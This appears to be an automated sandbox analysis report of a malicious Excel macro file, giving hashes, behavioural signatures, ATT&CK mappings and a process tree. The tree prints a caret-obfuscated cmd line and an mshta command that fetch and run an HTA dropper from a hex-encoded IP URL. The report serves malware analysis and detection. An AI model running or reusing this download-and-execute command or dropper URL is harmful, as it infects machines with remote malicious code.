Analysis

  • max time kernel
    150s
  • max time network
    146s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    19-01-2022 10:49

General

  • Target

    ad0de4164ae26ef5515f4fb320ad1316776b2eec28e447c51187cf5c58c1b8ea.xlsm

  • Size

    114KB

  • MD5

    74e51ea25acbbad7750f905be8ae1ab9

  • SHA1

    260164bae357ae9136d5693146425eb6f6b09e55

  • SHA256

    ad0de4164ae26ef5515f4fb320ad1316776b2eec28e447c51187cf5c58c1b8ea

  • SHA512

    90d3b710ac2d533ec4997089091dc5100aa266f71fc3d2b836206600f1a255f5e9667a4e773a5e2e4b765517e6a395bd94dbf1e00631d4db9d2c560641272c34

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://0x5cff39c3/sec/sec.html

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 20 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\ad0de4164ae26ef5515f4fb320ad1316776b2eec28e447c51187cf5c58c1b8ea.xlsm"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3064
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/0x5cff39c3/sec/sec.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:2096
      • C:\Windows\system32\mshta.exe
        mshta http://0x5cff39c3/sec/sec.html
        3⤵
        • Blocklisted process makes network request
        PID:824

Network

MITRE ATT&CK Matrix ATT&CK v6

Discovery

Query Registry

2
T1012

System Information Discovery

2
T1082

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/3064-115-0x00007FFE79D20000-0x00007FFE79D30000-memory.dmp
    Filesize

    64KB

  • memory/3064-116-0x00007FFE79D20000-0x00007FFE79D30000-memory.dmp
    Filesize

    64KB

  • memory/3064-117-0x00007FFE79D20000-0x00007FFE79D30000-memory.dmp
    Filesize

    64KB

  • memory/3064-118-0x00007FFE79D20000-0x00007FFE79D30000-memory.dmp
    Filesize

    64KB

  • memory/3064-121-0x00007FFE79D20000-0x00007FFE79D30000-memory.dmp
    Filesize

    64KB

  • memory/3064-128-0x00007FFE76C00000-0x00007FFE76C10000-memory.dmp
    Filesize

    64KB

  • memory/3064-129-0x00007FFE76C00000-0x00007FFE76C10000-memory.dmp
    Filesize

    64KB